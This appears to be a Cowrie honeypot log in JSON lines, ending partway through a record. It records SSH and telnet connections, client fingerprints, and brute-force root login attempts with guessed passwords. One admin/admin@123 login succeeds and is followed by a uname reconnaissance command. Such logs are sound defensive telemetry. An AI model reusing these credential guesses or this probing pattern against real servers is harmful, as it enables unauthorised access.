{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:58.506138Z","src_ip":"4.184.246.230","session":"90659978fed5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"packers","message":"login attempt [root/packers] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:58.891327Z","src_ip":"4.184.246.230","session":"90659978fed5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:15:59.980407Z","src_ip":"4.184.246.230","session":"90659978fed5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.184.246.230","src_port":60118,"dst_ip":"10.17.0.5","dst_port":22,"session":"46de0c5402f7","protocol":"ssh","message":"New connection: 4.184.246.230:60118 (10.17.0.5:22) [session: 46de0c5402f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:16:40.912734Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:16:40.917748Z","src_ip":"4.184.246.230","session":"46de0c5402f7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:16:41.067170Z","src_ip":"4.184.246.230","session":"46de0c5402f7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lty","message":"login attempt [root/lty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:16:41.398049Z","src_ip":"4.184.246.230","session":"46de0c5402f7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:16:42.486833Z","src_ip":"4.184.246.230","session":"46de0c5402f7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":65204,"dst_ip":"10.17.0.5","dst_port":22,"session":"878fdfe8078b","protocol":"ssh","message":"New connection: 152.42.212.128:65204 (10.17.0.5:22) [session: 878fdfe8078b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:16:49.056001Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:16:49.060326Z","src_ip":"152.42.212.128","session":"878fdfe8078b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:16:49.063742Z","src_ip":"152.42.212.128","session":"878fdfe8078b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.184.246.230","src_port":33916,"dst_ip":"10.17.0.5","dst_port":22,"session":"f0ae387b86b5","protocol":"ssh","message":"New connection: 4.184.246.230:33916 (10.17.0.5:22) [session: f0ae387b86b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:17:25.038001Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:17:25.043057Z","src_ip":"4.184.246.230","session":"f0ae387b86b5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:17:25.128632Z","src_ip":"4.184.246.230","session":"f0ae387b86b5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1912","message":"login attempt [root/1912] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:17:25.506616Z","src_ip":"4.184.246.230","session":"f0ae387b86b5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:17:26.595617Z","src_ip":"4.184.246.230","session":"f0ae387b86b5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"99.254.37.104","src_port":51150,"dst_ip":"159.203.135.109","dst_port":23,"session":"adce11c3bbc1","protocol":"telnet","message":"New connection: 99.254.37.104:51150 (159.203.135.109:23) [session: adce11c3bbc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:17:50.778770Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":54774,"dst_ip":"159.203.135.109","dst_port":22,"session":"4aa74746814f","protocol":"ssh","message":"New connection: 193.32.162.151:54774 (159.203.135.109:22) [session: 4aa74746814f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:17:56.629104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:17:56.633632Z","src_ip":"193.32.162.151","session":"4aa74746814f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:17:56.732261Z","src_ip":"193.32.162.151","session":"4aa74746814f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin@123","message":"login attempt [admin/admin@123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:17:57.032344Z","src_ip":"193.32.162.151","session":"4aa74746814f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:17:57.357882Z","src_ip":"193.32.162.151","session":"4aa74746814f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:17:57.361903Z","src_ip":"193.32.162.151","session":"4aa74746814f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:17:57.461123Z","src_ip":"193.32.162.151","session":"4aa74746814f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.8","message":"Connection lost after 0.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:17:57.467037Z","src_ip":"193.32.162.151","session":"4aa74746814f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.33464527130127,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:18:04.113364Z","src_ip":"99.254.37.104","session":"adce11c3bbc1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":54648,"dst_ip":"159.203.135.109","dst_port":22,"session":"085d3f3540f4","protocol":"ssh","message":"New connection: 103.183.114.55:54648 (159.203.135.109:22) [session: 085d3f3540f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:18:04.968739Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:18:04.974544Z","src_ip":"103.183.114.55","session":"085d3f3540f4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:18:05.194638Z","src_ip":"103.183.114.55","session":"085d3f3540f4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"assasin","message":"login attempt [root/assasin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:18:05.855502Z","src_ip":"103.183.114.55","session":"085d3f3540f4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:18:07.079992Z","src_ip":"103.183.114.55","session":"085d3f3540f4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.184.246.230","src_port":49496,"dst_ip":"10.17.0.5","dst_port":22,"session":"4dd7fb257a5c","protocol":"ssh","message":"New connection: 4.184.246.230:49496 (10.17.0.5:22) [session: 4dd7fb257a5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:18:07.530517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:18:07.535210Z","src_ip":"4.184.246.230","session":"4dd7fb257a5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:18:07.621081Z","src_ip":"4.184.246.230","session":"4dd7fb257a5c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"zzzxxx","message":"login attempt [root/zzzxxx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:18:07.996219Z","src_ip":"4.184.246.230","session":"4dd7fb257a5c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:18:09.094116Z","src_ip":"4.184.246.230","session":"4dd7fb257a5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.184.246.230","src_port":37770,"dst_ip":"10.17.0.5","dst_port":22,"session":"f63280933df5","protocol":"ssh","message":"New connection: 4.184.246.230:37770 (10.17.0.5:22) [session: f63280933df5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:18:50.386668Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:18:50.391739Z","src_ip":"4.184.246.230","session":"f63280933df5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:18:50.477493Z","src_ip":"4.184.246.230","session":"f63280933df5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"bismillah","message":"login attempt [root/bismillah] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:18:50.853062Z","src_ip":"4.184.246.230","session":"f63280933df5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:18:51.941555Z","src_ip":"4.184.246.230","session":"f63280933df5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.79.125","src_port":59284,"dst_ip":"10.17.0.5","dst_port":22,"session":"439bfc52da5c","protocol":"ssh","message":"New connection: 87.251.79.125:59284 (10.17.0.5:22) [session: 439bfc52da5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:19:18.687610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:19:18.692998Z","src_ip":"87.251.79.125","session":"439bfc52da5c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh 